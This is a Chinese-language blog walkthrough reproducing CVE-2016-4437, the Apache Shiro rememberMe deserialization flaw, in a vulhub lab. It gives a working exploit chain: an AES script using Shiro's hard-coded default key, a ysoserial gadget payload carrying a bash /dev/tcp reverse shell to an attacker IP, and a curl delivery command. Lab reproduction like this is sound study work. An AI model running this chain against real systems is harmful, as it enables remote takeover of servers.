CVE-2016-4437
影响范围:
Apache Shiro 1.0.0 - 1.2.4
部分集成过时 Shiro 组件的第三方框架/脚手架
漏洞类型:
Java反序列化
操作系统限制:
无
配置要求:
默认配置
漏洞利用:
反弹shell
利用原理:
在Shiro1.2.4及以前的版本中,AbstractRememberMeManager类在代码中硬编码了AES-128-CBC加密的密钥kPH+bIxk5D2deZiIxcaaaA==,意味着所以使用默认配置的Shiro系统用同一个密钥进行加解密Cookie。Shiro方便用户在关闭浏览器保持登录状态(RememberMe逻辑),将用户身份序列化后存入Cookie,当用户再次访问,服务器回自动读取并反序列化还原对象。解密Cookie后,Shiro直接调用Java的ObjectInputStream.readObject()来还原对象,密钥对还原对象类型进行安全防护。攻击者在Cookie中注入精心构造的恶意代码,Shiro拦截含rememberMe字段的HTTP请求,恶意代码经过base64解码再用AES解密(密钥已知),ObjectInputStream反序列化还原恶意对象,执行恶意代码
漏洞复现:
现成的vulhub来拉取镜像
#下载vulhub源代码
git clone https://github.com/vulhub/vulhub.git
#进入漏洞目录
cd vulhub/shiro/CVE-2016-4437
#拉取镜像
docker-compose up -d
开启监听端口

下载攻击工具
#准备 ysoserial
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar -O ysoserial.jar
#安装依赖
pip3 install pycryptodome
#创建并编写加密python脚本
touch encrypt.py
vi encrypt.py
编写加密脚本
import sys, uuid, base64
from Crypto.Cipher import AES
def get_payload(filename):
# Shiro 默认硬编码 Key
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
with open(filename, 'rb') as f:
content = f.read()
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
# PKCS7 填充处理
pad_len = 16 - (len(content) % 16)
content = content + (chr(pad_len) * pad_len).encode()
ciphertext = encryptor.encrypt(content)
return base64.b64encode(iv + ciphertext)
if __name__ == '__main__':
print(get_payload(sys.argv[1]).decode())
生成payload
# 这里的 Base64 字符串是反弹 Shell 命令:bash -i >& /dev/tcp/攻击机ip/7777 0>&1
java -jar ysoserial.jar CommonsBeanutils1 "bash -c {echo,反弹shell的base64编码}|{base64,-d}|{bash,-i}" > payload.bin
#AES加密
python3 encrypt.py payload.bin > cookie.txt
发起攻击
curl -v http://靶机ip:8080/ -b "rememberMe=$(cat cookie.txt)"返回302

反弹shell连接成功

本文链接:
/archives/cve-2016-4437
版权声明:
本站所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自
Johan的秘密小窝!
喜欢就支持一下吧